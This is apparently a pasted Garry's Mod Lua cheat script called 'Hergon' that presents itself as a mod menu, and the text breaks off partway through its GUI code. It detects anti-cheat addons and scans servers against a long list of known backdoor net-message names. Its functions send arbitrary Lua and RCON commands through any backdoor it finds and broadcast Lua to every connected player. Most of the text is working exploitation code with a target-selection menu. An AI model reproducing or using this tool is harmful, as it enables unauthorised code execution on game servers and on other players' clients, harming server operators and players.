· 6 years ago · Oct 16, 2019, 08:28 PM
1print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
2MsgC(Color(255, 0, 0), [[
3 HHHHHHHHH HHHHHHHHH
4]])
5MsgC(Color(255, 64, 0), [[
6 H:::::::H H:::::::H
7]])
8MsgC(Color(255, 128, 0), [[
9 H:::::::H H:::::::H
10]])
11MsgC(Color(255, 191, 0), [[
12 HH::::::H H::::::HH
13]])
14MsgC(Color(255, 255, 0), [[
15 H:::::H H:::::H eeeeeeeeeeee rrrrr rrrrrrrrr ggggggggg ggggg ooooooooooo nnnn nnnnnnnn
16]])
17MsgC(Color(191, 255, 0), [[
18 H:::::H H:::::H ee::::::::::::ee r::::rrr:::::::::r g:::::::::ggg::::g oo:::::::::::oo n:::nn::::::::nn
19]])
20MsgC(Color(128, 255, 0), [[
21 H::::::HHHHH::::::H e::::::eeeee:::::eer:::::::::::::::::r g:::::::::::::::::go:::::::::::::::on::::::::::::::nn
22]])
23MsgC(Color(64, 255, 0), [[
24 H:::::::::::::::::H e::::::e e:::::err::::::rrrrr::::::rg::::::ggggg::::::ggo:::::ooooo:::::onn:::::::::::::::n
25]])
26MsgC(Color(0, 255, 0), [[
27 H:::::::::::::::::H e:::::::eeeee::::::e r:::::r r:::::rg:::::g g:::::g o::::o o::::o n:::::nnnn:::::n
28]])
29MsgC(Color(0, 255, 64), [[
30 H::::::HHHHH::::::H e:::::::::::::::::e r:::::r rrrrrrrg:::::g g:::::g o::::o o::::o n::::n n::::n
31]])
32MsgC(Color(0, 255, 128), [[
33 H::::::HHHHH::::::H e:::::::::::::::::e r:::::r rrrrrrrg:::::g g:::::g o::::o o::::o n::::n n::::n
34]])
35MsgC(Color(0, 255, 191), [[
36 H:::::H H:::::H e::::::eeeeeeeeeee r:::::r g:::::g g:::::g o::::o o::::o n::::n n::::n
37]])
38MsgC(Color(0, 255, 255), [[
39 H:::::H H:::::H e:::::::e r:::::r g::::::g g:::::g o::::o o::::o n::::n n::::n
40]])
41MsgC(Color(0, 191, 255), [[
42 HH::::::H H::::::HHe::::::::e r:::::r g:::::::ggggg:::::g o:::::ooooo:::::o n::::n n::::n
43]])
44MsgC(Color(0, 128, 255), [[
45 H:::::::H H:::::::H e::::::::eeeeeeee r:::::r g::::::::::::::::g o:::::::::::::::o n::::n n::::n
46]])
47MsgC(Color(0, 64, 255), [[
48 H:::::::H H:::::::H ee:::::::::::::e r:::::r gg::::::::::::::g oo:::::::::::oo n::::n n::::n
49]])
50MsgC(Color(0, 0, 255), [[
51 HHHHHHHHH HHHHHHHHH eeeeeeeeeeeeee rrrrrrr gggggggg::::::g ooooooooooo nnnnnn nnnnnn
52]])
53MsgC(Color(64, 0, 255), [[
54 g:::::g
55]])
56MsgC(Color(128, 0, 255), [[
57 gggggg g:::::g
58]])
59MsgC(Color(191, 0, 255), [[
60 g:::::gg gg:::::g
61]])
62MsgC(Color(255, 0, 255), [[
63 g::::::ggg:::::::g
64]])
65MsgC(Color(255, 0, 191), [[
66 gg:::::::::::::g
67]])
68MsgC(Color(0, 64, 255), [[
69 ggg::::::ggg
70]])
71MsgC(Color(0, 0, 255), [[
72 gggggg
73]])
74
75chat.AddText(Color(255, 0, 0), "[Hergon] ", Color(20, 150, 200), "Welcome " .. LocalPlayer():Nick(), Color(20, 150, 200), ",", Color(255, 155, 0), " Mod Menu Loaded!")
76
77--Detections
78if (_G.QAC or _G.CAC) then
79 surface.PlaySound("ambient/alarms/klaxon1.wav")
80 chat.AddText(Color(255, 0, 0), "[", "Hergon", "] ", Color(20, 150, 200), "CAC anti-cheat has been found!")
81end
82
83if file.Exists("snte_source.lua", "LUA") then
84 chat.AddText(Color(255, 0, 0), "[", "Hergon", "] ", Color(20, 150, 200), "Snte has been found on server!")
85end
86
87--[[-------------------------------------------------------------------------------------
88Locals
89----------------------------------------------------------------------------------------]]
90local surface_SetFont = surface.SetFont
91local surface_GetTextSize = surface.GetTextSize
92local surface_SetDrawColor = surface.SetDrawColor
93local surface_DrawLine = surface.DrawLine
94local draw_SimpleText = draw.SimpleText
95local draw_SimpleTextOutlined = draw.SimpleTextOutlined
96local string_Explode = string.Explode
97local math_Rand = math.Rand
98local math_random = math.random
99local math_sin = math.sin
100local math_abs = math.abs
101local HSVtoColor = HSVToColor
102local Realtime = RealTime
103local Frametime = FrameTime
104local Curtime = CurTime
105local Color = Color
106local hergon = {}
107local channel = ""
108local netStrings = {}
109local BD = {}
110local noob = {}
111local MenuDelay = false
112local MenuOpen = false
113local ply = LocalPlayer()
114local selPly = 0
115local randomnumsix = math.random( 100000, 999999)
116
117--[[-------------------------------------------------------------------------------------
118Fonts
119----------------------------------------------------------------------------------------]]
120surface.CreateFont("button", {
121 font = "Calibri",
122 extended = not 1,
123 size = 16,
124 weight = 500,
125 blursize = 0,
126 scanlines = 0,
127 antialias = not not 1,
128 underline = not 1,
129 italic = not 1,
130 strikeout = not 1,
131 symbol = not 1,
132 rotary = not 1,
133 shadow = not 1,
134 additive = not 1,
135 outline = not 1
136})
137
138--[[-------------------------------------------------------------------------------------
139Gradient
140----------------------------------------------------------------------------------------]]
141local grad = Material("gui/gradient")
142local upgrad = Material("gui/gradient_up")
143local downgrad = Material("gui/gradient_down")
144--[[-------------------------------------------------------------------------------------
145Colors
146----------------------------------------------------------------------------------------]]
147local o_color1 = Color(17, 17, 17, 255)
148local o_color11 = Color(22, 22, 22, 255)
149local o_color2 = Color(30, 30, 30, 255)
150local o_color3 = Color(50, 50, 50, 255)
151local o_color4 = Color(42, 42, 42, 255)
152
153--[[-------------------------------------------------------------------------------------
154NetWorks
155----------------------------------------------------------------------------------------]]
156function CheckIfStringExists(str)
157 local status, error = pcall(net.Start, str)
158
159 return status
160end
161
162-- Notify
163function noob.Notify(msg)
164 chat.AddText(Color(255, 0, 0), "[Hergon] ", color_white, msg)
165end
166
167-- Backdoored Strings
168netStrings.Strings = {
169 {
170 NetString = "Sandbox_ArmDupe"
171 },
172 {
173 NetString = "entityhealt"
174 },
175 {
176 NetString = "m"
177 },
178 {
179 NetString = "material"
180 },
181 {
182 NetString = "hergon"
183 },
184 {
185 NetString = "BetStrep"
186 },
187 {
188 NetString = "keyss"
189 },
190 {
191 NetString = "banId2"
192 },
193 {
194 NetString = "Val"
195 },
196 {
197 NetString = "models/zombie.mdl"
198 },
199 {
200 NetString = "FPSBOOST"
201 },
202 {
203 NetString = "PlayerCheck"
204 },
205 {
206 NetString = "Sbox_darkrp"
207 },
208 {
209 NetString = "insid3"
210 },
211 {
212 NetString = "The_Dankwoo"
213 },
214 {
215 NetString = "Sbox_itemstore"
216 },
217 {
218 NetString = "Ulib_Message"
219 },
220 {
221 NetString = "ULogs_Info"
222 },
223 {
224 NetString = "ITEM"
225 },
226 {
227 NetString = "R8"
228 },
229 {
230 NetString = "fix"
231 },
232 {
233 NetString = "Fix_Keypads"
234 },
235 {
236 NetString = "Remove_Exploiters"
237 },
238 {
239 NetString = "noclipcloakaesp_chat_text"
240 },
241 {
242 NetString = "_Defqon"
243 },
244 {
245 NetString = "_CAC_ReadMemory"
246 },
247 {
248 NetString = "lmaogetdunked"
249 },
250 {
251 NetString = "nostrip"
252 },
253 {
254 NetString = "nocheat"
255 },
256 {
257 NetString = "LickMeOut"
258 },
259 {
260 NetString = "ULX_QUERY2"
261 },
262 {
263 NetString = "ULXQUERY2"
264 },
265 {
266 NetString = "https://i.imgur.com/Gf6hLMl.png"
267 },
268 {
269 NetString = "MoonMan"
270 },
271 {
272 NetString = "Im_SOCool"
273 },
274 {
275 NetString = "JSQuery.Data(Post(false))"
276 },
277 {
278 NetString = "Sandbox_GayParty"
279 },
280 {
281 NetString = "DarkRP_UTF8"
282 },
283 {
284 NetString = "oldNetReadData"
285 },
286 {
287 NetString = "Gamemode_get"
288 },
289 {
290 NetString = "memeDoor"
291 },
292 {
293 NetString = "BackDoor"
294 },
295 {
296 NetString = "SessionBackdoor"
297 },
298 {
299 NetString = "DarkRP_AdminWeapons"
300 },
301 {
302 NetString = "cucked"
303 },
304 {
305 NetString = "NoNerks"
306 },
307 {
308 NetString = "kek"
309 },
310 {
311 NetString = "ZimbaBackDoor"
312 },
313 {
314 NetString = "something"
315 },
316 {
317 NetString = "random"
318 },
319 {
320 NetString = "strip0"
321 },
322 {
323 NetString = "fellosnake"
324 },
325 {
326 NetString = "enablevac"
327 },
328 {
329 NetString = "idk"
330 },
331 {
332 NetString = "Þà ?D)◘"
333 },
334 {
335 NetString = "snte"
336 },
337 {
338 NetString = "apg_togglemode"
339 },
340 {
341 NetString = "Hi"
342 },
343 {
344 NetString = "beedoor"
345 },
346 {
347 NetString = "BDST_EngineForceButton"
348 },
349 {
350 NetString = "VoteKickNO"
351 },
352 {
353 NetString = "REEEEEEEEEEEE"
354 },
355 {
356 NetString = "_da_"
357 },
358 {
359 NetString = "Nostra"
360 },
361 {
362 NetString = "sniffing"
363 },
364 {
365 NetString = "keylogger"
366 },
367 {
368 NetString = "CakeInstall"
369 },
370 {
371 NetString = "Cakeuptade"
372 },
373 {
374 NetString = "love"
375 },
376 {
377 NetString = "earth"
378 },
379 {
380 NetString = "ulibcheck"
381 },
382 {
383 NetString = "Nostrip_"
384 },
385 {
386 NetString = "teamfrench"
387 },
388 {
389 NetString = "ADM"
390 },
391 {
392 NetString = "hack"
393 },
394 {
395 NetString = "crack"
396 },
397 {
398 NetString = "leak"
399 },
400 {
401 NetString = "lokisploit"
402 },
403 {
404 NetString = "1234"
405 },
406 {
407 NetString = "123"
408 },
409 {
410 NetString = "enculer"
411 },
412 {
413 NetString = "cake"
414 },
415 {
416 NetString = "seized"
417 },
418 {
419 NetString = "88"
420 },
421 {
422 NetString = "88_strings_"
423 },
424 {
425 NetString = "nostraall"
426 },
427 {
428 NetString = "blogs_update"
429 },
430 {
431 NetString = "nolag"
432 },
433 {
434 NetString = "loona_"
435 },
436 {
437 NetString = "billys_logs"
438 },
439 {
440 NetString = "loona"
441 },
442 {
443 NetString = "negativedlebest"
444 },
445 {
446 NetString = "berettabest"
447 },
448 {
449 NetString = "ReadPing"
450 },
451 {
452 NetString = "antiexploit"
453 },
454 {
455 NetString = "adm_NetString"
456 },
457 {
458 NetString = "mathislebg"
459 },
460 {
461 NetString = "Bilboard.adverts:Spawn(false)"
462 },
463 {
464 NetString = "pjHabrp9EY"
465 },
466 {
467 NetString = "?"
468 },
469 {
470 NetString = "lag_ping"
471 },
472 {
473 NetString = "allowLimitedRCON(user) 0"
474 },
475 {
476 NetString = "aze46aez67z67z64dcv4bt"
477 },
478 {
479 NetString = "killserver"
480 },
481 {
482 NetString = "fuckserver"
483 },
484 {
485 NetString = "cvaraccess"
486 },
487 {
488 NetString = "rcon"
489 },
490 {
491 NetString = "rconadmin"
492 },
493 {
494 NetString = "web"
495 },
496 {
497 NetString = "jesuslebg"
498 },
499 {
500 NetString = "zilnix"
501 },
502 {
503 NetString = "ߠ?D)?"
504 },
505 {
506 NetString = "disablebackdoor"
507 },
508 {
509 NetString = "kill"
510 },
511 {
512 NetString = "DefqonBackdoor"
513 },
514 {
515 NetString = "DarkRP_AllDoorDatas"
516 },
517 {
518 NetString = "0101.1"
519 },
520 {
521 NetString = "awarn_remove"
522 },
523 {
524 NetString = "_Infinity"
525 },
526 {
527 NetString = "Infinity"
528 },
529 {
530 NetString = "InfinityBackdoor"
531 },
532 {
533 NetString = "_Infinity_Meme_"
534 },
535 {
536 NetString = "arivia"
537 },
538 {
539 NetString = "ULogs_B"
540 },
541 {
542 NetString = "_Warns"
543 },
544 {
545 NetString = "_cac_"
546 },
547 {
548 NetString = "striphelper"
549 },
550 {
551 NetString = "_vliss"
552 },
553 {
554 NetString = "YYYYTTYXY6Y"
555 },
556 {
557 NetString = "?????????????????п??? ?? ?ѿ??Ŀտ? ???ѿ??տ??Ю"
558 },
559 {
560 NetString = "_KekTcf"
561 },
562 {
563 NetString = "_blacksmurf"
564 },
565 {
566 NetString = "blacksmurfBackdoor"
567 },
568 {
569 NetString = "_Raze"
570 },
571 {
572 NetString = "m9k_explosionradius"
573 },
574 {
575 NetString = "m9k_explosive"
576 },
577 {
578 NetString = "m9k_addons"
579 },
580 {
581 NetString = "rcivluz"
582 },
583 {
584 NetString = "SENDTEST"
585 },
586 {
587 NetString = "_clientcvars"
588 },
589 {
590 NetString = "_main"
591 },
592 {
593 NetString = "stream"
594 },
595 {
596 NetString = "waoz"
597 },
598 {
599 NetString = "bdsm"
600 },
601 {
602 NetString = "ZernaxBackdoor"
603 },
604 {
605 NetString = "UKT_MOMOS"
606 },
607 {
608 NetString = "anticrash"
609 },
610 {
611 NetString = "audisquad_lua"
612 },
613 {
614 NetString = "dontforget"
615 },
616 {
617 NetString = "noprop"
618 },
619 {
620 NetString = "thereaper"
621 },
622 {
623 NetString = "0x13"
624 },
625 {
626 NetString = "Child"
627 },
628 {
629 NetString = "!Cac"
630 },
631 {
632 NetString = "azkaw"
633 },
634 {
635 NetString = "BOOST_FPS"
636 },
637 {
638 NetString = "childexploit"
639 },
640 {
641 NetString = "ULX_ANTI_BACKDOOR"
642 },
643 {
644 NetString = "FADMIN_ANTICRASH"
645 },
646 {
647 NetString = "ULX_QUERY_TEST2"
648 },
649 {
650 NetString = "GMOD_NETDBG"
651 },
652 {
653 NetString = "netlib_debug"
654 },
655 {
656 NetString = "_DarkRP_Reading"
657 },
658 {
659 NetString = "lag_ping"
660 },
661 {
662 NetString = "||||"
663 },
664 {
665 NetString = "SteamApp2313"
666 },
667 {
668 NetString = "FPP_RemovePLYCache"
669 },
670 {
671 NetString = "fuwa"
672 },
673 {
674 NetString = "stardoor"
675 },
676 {
677 NetString = "SENDTEST"
678 },
679 {
680 NetString = "rcivluz"
681 },
682 {
683 NetString = "c"
684 },
685 {
686 NetString = "N::B::P"
687 },
688 {
689 NetString = "changename"
690 },
691 {
692 NetString = "PlayerItemPickUp"
693 },
694 {
695 NetString = "echangeinfo"
696 },
697 {
698 NetString = "fourhead"
699 },
700 {
701 NetString = "music"
702 },
703 {
704 NetString = "slua"
705 },
706 {
707 NetString = "adm_network"
708 },
709 {
710 NetString = "componenttolua"
711 },
712 {
713 NetString = "theberettabcd"
714 },
715 {
716 NetString = "SparksLeBg"
717 },
718 {
719 NetString = "DarkRP_Armors"
720 },
721 {
722 NetString = "DarkRP_Gamemodes"
723 },
724 {
725 NetString = "fancyscoreboard_leave"
726 },
727 {
728 NetString = "PRDW_GET"
729 },
730 {
731 NetString = "pwn_http_send"
732 },
733 {
734 NetString = "AnatikLeNoob"
735 },
736 {
737 NetString = "GVacDoor"
738 },
739 {
740 NetString = "Keetaxor"
741 },
742 {
743 NetString = "BackdoorPrivate666"
744 },
745 {
746 NetString = "YohSambreLeBest"
747 },
748 {
749 NetString = "SNTE<ALL"
750 },
751 {
752 NetString = "!Ǻ/;."
753 },
754 {
755 NetString = "pwn_http_answer"
756 },
757 {
758 NetString = "pwn_wake"
759 },
760 {
761 NetString = "verifiopd"
762 },
763 {
764 NetString = "AidsTacos"
765 },
766 {
767 NetString = "shix"
768 },
769 {
770 NetString = "PDA_DRM_REQUEST_CONTENT"
771 },
772 {
773 NetString = "xenoreceivetargetdata2"
774 },
775 {
776 NetString = "xenoreceivetargetdata1"
777 },
778 {
779 NetString = "xenoserverdatafunction"
780 },
781 {
782 NetString = "xenoserverfunction"
783 },
784 {
785 NetString = "xenoclientdatafunction"
786 },
787 {
788 NetString = "xenoclientfunction"
789 },
790 {
791 NetString = "xenoactivation"
792 },
793 {
794 NetString = "EXEC_REMOTE_APPS"
795 },
796 {
797 NetString = "yohsambresicianatik<3"
798 },
799 {
800 NetString = "Sbox_Message"
801 },
802 {
803 NetString = "Sbox_gm_attackofnullday_key"
804 },
805 {
806 NetString = "The_DankWhy"
807 },
808 {
809 NetString = "nw.readstream"
810 },
811 {
812 NetString = "AbSoluT"
813 },
814 {
815 NetString = "__G____CAC"
816 },
817 {
818 NetString = "Weapon_88"
819 },
820 {
821 NetString = "mecthack"
822 },
823 {
824 NetString = "SetPlayerDeathCount"
825 },
826 {
827 NetString = "FAdmin_Notification_Receiver"
828 },
829 {
830 NetString = "DarkRP_ReceiveData"
831 },
832 {
833 NetString = "fijiconn"
834 },
835 {
836 NetString = "LuaCmd"
837 },
838 {
839 NetString = "EnigmaProject"
840 },
841 {
842 NetString = "z"
843 },
844 {
845 NetString = "cvardel"
846 },
847 {
848 NetString = "json.parse(crashsocket)"
849 },
850 {
851 NetString = "effects_en"
852 },
853 {
854 NetString = "file"
855 },
856 {
857 NetString = "gag"
858 },
859 {
860 NetString = "asunalabestwaifu"
861 },
862 {
863 NetString = "stoppk"
864 },
865 {
866 NetString = "Ulx_Error_88"
867 },
868 {
869 NetString = "NoOdium_ReadPing"
870 },
871 {
872 NetString = "banId"
873 },
874 {
875 NetString = "kickId2"
876 },
877 {
878 NetString = "elsakura"
879 }
880}
881
882function CheckBackdoors()
883 for k, v in pairs(netStrings.Strings) do
884 if (CheckIfStringExists(v.NetString)) then
885 channel = v.NetString
886 chat.AddText(Color(255, 0, 0), "[RVAC]", Color(20, 150, 20), " Found Vulnerability ▶ ", Color(20, 150, 200), [[]] .. v.NetString)
887 end
888 end
889end
890
891function noob.PostLua(str)
892 net.Start(channel)
893 net.WriteString(str)
894 net.WriteBit(1)
895 net.SendToServer()
896end
897
898function noob.PostRcon(str)
899 net.Start(channel)
900 net.WriteString(str)
901 net.WriteBit(false)
902 net.SendToServer()
903end
904
905function noob.PostLua(str)
906 if (channel == "") then
907 chat.AddText(Color(255, 0, 0), "[hergon]", Color(20, 150, 200), " You are not targeting a NetString")
908
909 return
910 end
911
912 net.Start(channel)
913 net.WriteString(str)
914 net.WriteBit(1)
915 net.SendToServer()
916end
917
918function sendLuaPly(str)
919 net.Start(channel)
920 net.WriteString("BroadcastLua([[" .. str .. "]])")
921 net.SendToServer()
922end
923
924function sendLuaPlyKv(str)
925 net.Start(channel)
926 net.WriteString("for k,v in pairs(player.GetAll()) do v:SendLua(" .. str .. ") end")
927 net.SendToServer()
928end
929
930--[[-------------------------------------------------------------------------------------
931Insert Key
932----------------------------------------------------------------------------------------]]
933function hergon.nin()
934 hook.Add("Think", "openMenu", function()
935 if input.IsKeyDown(KEY_INSERT) and not MenuDelay then
936 MenuDelay = true
937 hergon.load()
938
939 timer.Simple(0.5, function()
940 MenuDelay = false
941 end)
942 end
943 end)
944end
945
946function hergon.load()
947 if MenuOpen then
948 CloseMenu()
949
950 return
951 end
952
953 --[[-------------------------------------------------------------------------------------
954MAIN MENU
955----------------------------------------------------------------------------------------]]
956 MenuOpen = true
957 local BDMenu = vgui.Create("DFrame")
958 surface.PlaySound("buttons/blip1.wav")
959 BDMenu:SetSize(720, 750)
960 BDMenu:SetPos(40, 40)
961 BDMenu:SetTitle("")
962 BDMenu:ShowCloseButton()
963 BDMenu:MakePopup()
964 BDMenu:SetVisible(true)
965 BDMenu:SetDraggable(false)
966
967 BDMenu.Paint = function(self, w, h)
968 surface.SetDrawColor(Color(40, 40, 40, 255))
969 surface.DrawRect(0, 0, w, h)
970 surface.SetDrawColor(36, 21, 21)
971 surface.SetMaterial(upgrad)
972 surface.SetDrawColor(o_color2)
973 surface.SetMaterial(downgrad)
974 surface.SetDrawColor(o_color2)
975 surface.SetDrawColor(0, 0, 0, 255)
976 surface.DrawOutlinedRect(0, 0, w, h)
977 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
978 end
979
980 local rvacplate = vgui.Create('DPanelList', BDMenu)
981 rvacplate:SetSize(705, 735)
982 rvacplate:SetPos(8, 8)
983
984 rvacplate.Paint = function(s, w, h)
985 surface.SetDrawColor(Color(26, 26, 26))
986 surface.DrawRect(0, 0, w, h)
987 surface.SetDrawColor(21, 21, 21)
988 surface.SetMaterial(upgrad)
989 surface.SetDrawColor(o_color2)
990 surface.SetMaterial(downgrad)
991 surface.SetDrawColor(o_color2)
992 surface.SetDrawColor(35, 35, 35, 255)
993 surface.DrawOutlinedRect(0, 0, w, h)
994 end
995
996 local Rainbow = vgui.Create('DPanelList', rvacplate)
997 Rainbow:SetSize(705, 2)
998 Rainbow:SetPos(1, 0)
999
1000 Rainbow.Paint = function(s, w, h)
1001 surface.SetDrawColor(Color(100, 100, 100))
1002 surface.DrawRect(0, 0, w, h)
1003 surface.SetDrawColor(21, 21, 21)
1004 surface.SetDrawColor(Color(100, 100, 100))
1005 surface.DrawRect(0, 0, w, h)
1006 surface.SetDrawColor(21, 21, 21)
1007 surface.SetMaterial(upgrad)
1008 surface.SetDrawColor(o_color2)
1009 surface.SetMaterial(downgrad)
1010 surface.SetDrawColor(o_color2)
1011 surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
1012 surface.DrawOutlinedRect(0, 0, w, h)
1013 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
1014 end
1015
1016 local targeting = vgui.Create("DLabel", rvacplate)
1017 targeting:SetFont("Trebuchet18")
1018 targeting:SetText("No Player Selected")
1019 targeting:SetTextColor(Color(255, 255, 255))
1020 targeting:SetPos(510, 710)
1021 targeting:SizeToContents()
1022
1023 -- Button Function
1024 function hergon.AddButton(name, parent, func)
1025 local button = parent:Add("DButton")
1026 button:SetText("")
1027 button:Dock(TOP)
1028 button:SetFont("DermaDefault")
1029 button:DockMargin(0, 0, 0, 8)
1030 button:SetSize(50, 25)
1031 button.DoClick = func
1032
1033 button.Paint = function(self, w, h)
1034 surface.SetDrawColor(Color(200, 24, 24))
1035 surface.SetDrawColor(40, 40, 40)
1036 surface.DrawOutlinedRect(0, 0, w, h)
1037 draw.SimpleTextOutlined(name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black)
1038 end
1039 end
1040
1041 -- Label Function
1042 function noob.addLabel(name, posx, posy, parent)
1043 local T1 = parent:Add("DLabel")
1044 T1:SetSize(200, 80)
1045 T1:SetPos(posx, posy)
1046 T1:SetFont("Trebuchet18")
1047 T1:SetText(name)
1048 T1:SetTextColor(Color(255, 255, 255, 255))
1049 end
1050
1051 -- Labels
1052 noob.addLabel("Server BackDoors", 20, 28, rvacplate)
1053 noob.addLabel("Target BackDoors", 257, 28, rvacplate)
1054 noob.addLabel("Player List", 510, 28, rvacplate)
1055 noob.addLabel("Extras( sound, client, bd )", 253, 275, rvacplate)
1056 local Plistz = vgui.Create("DPanelList", rvacplate)
1057 Plistz:SetPos(10, 80)
1058 Plistz:SetSize(200, 538)
1059 Plistz:SetPadding(5)
1060 Plistz:SetSpacing(5)
1061 Plistz:EnableHorizontal(false)
1062 Plistz:EnableVerticalScrollbar(true)
1063 Plistz:SetName("")
1064
1065 Plistz.Paint = function(self, w, h)
1066 surface.SetDrawColor(Color(24, 24, 24))
1067 surface.DrawRect(0, 0, w, h)
1068 surface.SetDrawColor(21, 21, 21)
1069 surface.SetMaterial(upgrad)
1070 surface.SetDrawColor(o_color2)
1071 surface.SetMaterial(downgrad)
1072 surface.SetDrawColor(o_color2)
1073 surface.SetDrawColor(35, 35, 35, 255)
1074 surface.DrawOutlinedRect(0, 0, w, h)
1075 end
1076
1077 local item = vgui.Create("DPanelList", Plistz)
1078 item:SetPos(11.5, 10)
1079 item:SetSize(188, 520)
1080 item:SetPadding(5)
1081 item:SetSpacing(5)
1082 item:EnableHorizontal(false)
1083 item:EnableVerticalScrollbar(true)
1084 item:SetName("")
1085
1086 item.Paint = function(self, w, h)
1087 surface.SetDrawColor(Color(24, 24, 24))
1088 surface.DrawRect(0, 0, w, h)
1089 surface.SetDrawColor(21, 21, 21)
1090 surface.SetDrawColor(35, 35, 35, 0)
1091 surface.DrawOutlinedRect(0, 0, w, h)
1092 end
1093
1094 local Plist2 = vgui.Create("DPanelList", rvacplate)
1095 Plist2:SetPos(247, 80)
1096 Plist2:SetSize(200, 215)
1097 Plist2:SetPadding(5)
1098 Plist2:SetSpacing(5)
1099 Plist2:EnableHorizontal(false)
1100 Plist2:EnableVerticalScrollbar(true)
1101 Plist2:SetName("")
1102
1103 Plist2.Paint = function(self, w, h)
1104 surface.SetDrawColor(Color(24, 24, 24))
1105 surface.DrawRect(0, 0, w, h)
1106 surface.SetDrawColor(21, 21, 21)
1107 surface.SetMaterial(upgrad)
1108 surface.SetDrawColor(o_color2)
1109 surface.SetMaterial(downgrad)
1110 surface.SetDrawColor(o_color2)
1111 surface.SetDrawColor(35, 35, 35, 255)
1112 surface.DrawOutlinedRect(0, 0, w, h)
1113 end
1114
1115 local item2 = vgui.Create("DPanelList", Plist2)
1116 item2:SetPos(8, 10)
1117 item2:SetSize(185, 200)
1118 item2:SetPadding(5)
1119 item2:SetSpacing(5)
1120 item2:EnableHorizontal(false)
1121 item2:EnableVerticalScrollbar(true)
1122 item2:SetName("")
1123
1124 item2.Paint = function(self, w, h)
1125 surface.SetDrawColor(Color(24, 24, 24))
1126 surface.DrawRect(0, 0, w, h)
1127 surface.SetDrawColor(21, 21, 21)
1128 surface.SetDrawColor(35, 35, 35, 0)
1129 surface.DrawOutlinedRect(0, 0, w, h)
1130 end
1131
1132 local Plist3 = vgui.Create("DPanelList", rvacplate)
1133 Plist3:SetPos(247, 326)
1134 Plist3:SetSize(200, 399)
1135 Plist3:SetPadding(5)
1136 Plist3:SetSpacing(5)
1137 Plist3:EnableHorizontal(false)
1138 Plist3:EnableVerticalScrollbar(true)
1139 Plist3:SetName("")
1140
1141 Plist3.Paint = function(self, w, h)
1142 surface.SetDrawColor(Color(24, 24, 24))
1143 surface.DrawRect(0, 0, w, h)
1144 surface.SetDrawColor(21, 21, 21)
1145 surface.SetMaterial(upgrad)
1146 surface.SetDrawColor(o_color2)
1147 surface.SetMaterial(downgrad)
1148 surface.SetDrawColor(o_color2)
1149 surface.SetDrawColor(35, 35, 35, 255)
1150 surface.DrawOutlinedRect(0, 0, w, h)
1151 end
1152
1153 local item3 = vgui.Create("DPanelList", Plist3)
1154 item3:SetPos(12, 10)
1155 item3:SetSize(185, 380)
1156 item3:SetPadding(5)
1157 item3:SetSpacing(5)
1158 item3:EnableHorizontal(false)
1159 item3:EnableVerticalScrollbar(true)
1160 item3:SetName("")
1161
1162 item3.Paint = function(self, w, h)
1163 surface.SetDrawColor(Color(24, 24, 24))
1164 surface.DrawRect(0, 0, w, h)
1165 surface.SetDrawColor(21, 21, 21)
1166 surface.SetDrawColor(35, 35, 35, 0)
1167 surface.DrawOutlinedRect(0, 0, w, h)
1168 end
1169
1170 local Plist4 = vgui.Create("DPanelList", rvacplate)
1171 Plist4:SetPos(493, 80)
1172 Plist4:SetSize(200, 625)
1173 Plist4:SetPadding(5)
1174 Plist4:SetSpacing(5)
1175 Plist4:EnableHorizontal(false)
1176 Plist4:EnableVerticalScrollbar(true)
1177
1178 Plist4.Paint = function(self, w, h)
1179 surface.SetDrawColor(Color(24, 24, 24))
1180 surface.DrawRect(0, 0, w, h)
1181 surface.SetDrawColor(21, 21, 21)
1182 surface.SetMaterial(upgrad)
1183 surface.SetDrawColor(o_color2)
1184 surface.SetMaterial(downgrad)
1185 surface.SetDrawColor(o_color2)
1186 surface.SetDrawColor(35, 35, 35, 255)
1187 surface.DrawOutlinedRect(0, 0, w, h)
1188 end
1189
1190 local item4 = vgui.Create("DPanelList", Plist4)
1191 item4:SetPos(8, 10)
1192 item4:SetSize(185, 606)
1193 item4:SetPadding(5)
1194 item4:SetSpacing(5)
1195 item4:EnableHorizontal(false)
1196 item4:EnableVerticalScrollbar(true)
1197 item4:SetName("")
1198
1199 item4.Paint = function(self, w, h)
1200 surface.SetDrawColor(Color(24, 24, 24))
1201 surface.DrawRect(0, 0, w, h)
1202 surface.SetDrawColor(21, 21, 21)
1203 surface.SetDrawColor(35, 35, 35, 0)
1204 surface.DrawOutlinedRect(0, 0, w, h)
1205 end
1206
1207 local Bar3 = vgui.Create("DScrollPanel", item4)
1208 Bar3:Dock(FILL)
1209 local sbar3 = Bar3:GetVBar()
1210
1211 function sbar3:Paint()
1212 end
1213
1214 function sbar3.btnUp:Paint()
1215 end
1216
1217 function sbar3.btnDown:Paint()
1218 end
1219
1220 function sbar3.btnGrip:Paint()
1221 end
1222
1223 for k, v in pairs(player.GetAll()) do
1224 hergon.AddButton(v:Name(), Bar3, function()
1225 selPly = v:UserID()
1226 targeting:SetText("Selected: " .. Player(selPly):Name())
1227 end)
1228 end
1229
1230 local Plist5 = vgui.Create("DTextEntry", rvacplate)
1231 Plist5:SetPos(10, 8)
1232 Plist5:SetSize(685, 35)
1233 Plist5:SetTextColor(Color(255, 255, 255, 255))
1234 Plist5:SetFont("Trebuchet18")
1235
1236 Plist5.Paint = function(self, w, h)
1237 surface.SetDrawColor(Color(24, 24, 24))
1238 surface.DrawRect(0, 0, w, h)
1239 surface.SetDrawColor(21, 21, 21)
1240 surface.SetMaterial(upgrad)
1241 surface.SetDrawColor(o_color2)
1242 surface.SetMaterial(downgrad)
1243 surface.SetDrawColor(o_color2)
1244 surface.SetDrawColor(35, 35, 35, 255)
1245 surface.DrawOutlinedRect(0, 0, w, h)
1246 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
1247 end
1248
1249 Plist5.OnEnter = function(self)
1250 surface.PlaySound("buttons/button18.wav")
1251 noob.Notify("Targeting: '" .. Plist5:GetValue() .. "'")
1252 channel = self:GetValue()
1253 end
1254
1255 local helpimretarded = vgui.Create("DButton", rvacplate)
1256 helpimretarded:SetSize(200, 45)
1257 helpimretarded:SetPos(10, 627)
1258 helpimretarded:SetFont("Trebuchet18")
1259 helpimretarded:SetText("Print backdoor code")
1260 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
1261
1262 helpimretarded.Paint = function(panel, w, h)
